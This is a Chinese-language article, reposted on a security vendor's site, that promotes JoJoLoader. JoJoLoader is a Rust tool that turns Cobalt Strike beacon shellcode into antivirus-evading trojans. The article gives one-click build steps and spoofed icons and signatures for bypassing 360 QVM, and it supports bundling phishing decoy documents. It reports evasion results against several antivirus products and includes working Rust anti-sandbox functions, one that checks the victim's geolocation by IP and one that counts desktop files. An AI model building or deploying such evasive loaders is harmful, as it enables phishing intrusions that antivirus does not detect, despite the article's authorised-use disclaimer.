长亭百川云 - 文章详情

JoJoloader助力红队成员一键生成免杀木马

Hyyrent

93

2024-07-02

项目链接:

https://github.com/Pizz33/JoJoLoaderJoJoLoader

助力红队成员一键生成免杀木马,使用rust实现 (by_hyyrent)

Help Redteam members generate Evasive Anti-virus software Trojan

开发背景

由于近年使用go来开发loader越来越普遍,导致杀软对go编译程序静态查杀力度增大,尤其是某数字杀软

对之前的go免杀项目千机多次优化后,发现效果仍不太理想,决定重构转投入rust的怀抱,因此有了此项目的诞生!

使用方式

与之前开发的千机一样,同样是支持一键化生成,生成自动替换图标签名

生成stageless payload

把 beacon_x64.bin
(习惯使用4.7以上版本的CS,默认名称即是,其他版本自行改名)放置在当前目录下

点击 一键生成.bat
,等待免杀木马生成

输出免杀木马在 output
文件夹下,随机六位数命名

其中sign标签文件为自动替换签名后的免杀木马,添加图标和签名最大化bypassQVM

钓鱼场景-释放正常文档

贴合实战钓鱼场景,支持正常文件释放,捆绑文档存放在 bundle
文件夹下

默认放置打开损坏文档,实战根据需求自行修改代码

如果不需要捆绑文件,把对应行注释即可

程序图标

在 static 目录下放置了四个常见图标,可修改icon.rc
对应名称进行调用

免杀效果展示

360和火绒

360杀毒

装了杀毒之后的360性能变强,qvm有时很玄学,如若碰到QVM情况尝试更换图标

defender

微步

项目发布时现测试,测试结果为安全

环境安装

https://www.rust-lang.org/zh-CN/tools/install

下载安装相应的版本,双击运行,默认选择模式1进行安装,然后配置环境变量即可

如若安装后编译失败运行以下命令

rustup default stable-x86\_64-pc-windows-msvc

反沙箱

反沙箱不是越多越好,只保留比较好用的两个,兼容绝大部分环境,并且尽量避免上传沙箱后虚拟主机上线

检查出口 IP

fn ip() {  
    let output = Command::new("cmd")  
        .args(&\["/c", "curl -s https://myip.ipip.net/"\])  
        .creation\_flags(CREATE\_NO\_WINDOW)  
        .output()  
        .expect("Failed to execute command");  
  
    if !output.status.success() {  
        std::process::exit(1);  
    }  
  
    let body = str::from\_utf8(&output.stdout).expect("Failed to parse response");  
  
    if body.contains("中国") {  
    } else {  
        std::process::exit(1);  
    }  
}

这个函数通过 curl
命令获取出口 IP,如果不在中国则退出程序

检查桌面文件数量

fn check\_desktop() {  
    let desktop\_path = get\_desktop\_path().expect("无法获取桌面路径");  
  
    let entries = match fs::read\_dir(&desktop\_path) {  
        Ok(entries) => entries,  
        Err(\_) => {  
            std::process::exit(1);  
        }  
    };  
  
    let file\_count = entries.filter\_map(|entry| entry.ok()).count();  
  
    if file\_count < 10 {  
        std::process::exit(1);  
    } else {  
    }  
}  
  
fn get\_desktop\_path() -> Option<PathBuf> {  
    let home\_dir = dirs::home\_dir()?;  
    #\[cfg(target\_os = "windows")\]  
    return Some(home\_dir.join("Desktop"));  
    None  
}

这个函数获取桌面路径并检查文件数量是否小于 10,如果小于 10 则退出程序

声明

  • 仅限用于技术研究和获得正式授权的攻防项目,请使用者遵守《中华人民共和国网络安全法》,切勿用于任何非法活动,若将工具做其他用途,由使用者承担全部法律及连带责任,作者及发布者不承担任何法律及连带责任!

  • 使用前先按照文档步骤一步一步来,报错问题自行百度解决,类似issue不予回复,感谢理解!

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2